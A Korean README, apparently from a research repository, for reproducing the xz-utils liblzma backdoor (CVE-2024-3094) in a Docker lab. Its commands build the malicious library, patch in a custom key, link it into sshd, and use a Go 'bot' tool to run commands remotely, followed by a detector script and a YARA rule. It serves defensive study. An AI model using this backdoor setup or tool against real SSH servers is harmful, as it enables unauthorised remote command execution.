
XZ 백도어 취약점에 대한 상세 설명
이 프로젝트는 xz-utils (liblzma) 에서 발견된 주목할 만한 백도어를 분석하며, 5.6.0 및 5.6.1 버전에 영향을 미칩니다. 업스트림 빌드 시스템에 삽입된 악성 코드는 런타임 시 sshd가 LZMA 압축 라이브러리와 상호작용하는 방식을 수정하여 SSH 인증을 표적으로 삼았습니다.
⚠️ 이 프로젝트는 교육 및 방어 연구 목적으로만 사용됩니다.
이 저장소를 클론합니다
git clone https://github.com/valeriot30/cve-2024-3094
디렉터리로 이동합니다
cd cve-2024-3094
Docker 컨테이너를 실행합니다
docker build -t fedora-dev .
docker run --privileged -it --rm -p 2222:22 fedora-dev
악성 버전의 라이브러리를 가져옵니다
cd ~
git clone https://github.com/thesamesam/xz-archive.git
cd xz-archive/5.6/ # The vulnerable version ( it works as well with 5.6.1 )
tar xzf xz-5.6.0.tar.gz
mv xz-5.6.0 ~
빌드 대상을 내보냅니다
export RPM_ARCH=$(uname -m)
악성 라이브러리를 컴파일합니다
cd ~
cd ./xz-5.6.0/
./configure
make -j 8
악성 SO 파일을 외부로 복사합니다:
cp ./src/liblzma/.libs/liblzma.so.5.6.0 ~
컨테이너 내부에 저장소를 다시 클론합니다
git clone https://github.com/valeriot30/cve-2024-3094
사용자 지정 키로 liblzma 라이브러리를 패치합니다
python3 cve-2024-3094/patch.py liblzma.so.5.6.0
시스템에 악성 라이브러리를 링크합니다
sh cve-2024-3094/inject.sh
악성 라이브러리에 링크된 sshd를 실행합니다
env -i LANG=C /usr/sbin/sshd -D &
이 저장소를 클론합니다
git clone https://github.com/valeriot30/cve-2024-3094
디렉터리로 이동합니다
cd cve-2024-3094
GO 도구를 컴파일합니다
go build
취약 머신의 IP 주소와 실행할 명령어를 입력하여 도구를 사용합니다
./bot -addr 127.0.0.2:2222 -cmd 'sleep 60'
탐지기를 실행합니다
sh detector.sh
Yara 매칭 규칙을 사용합니다
yara rule.yar ../liblzma.so.5.6.0 -s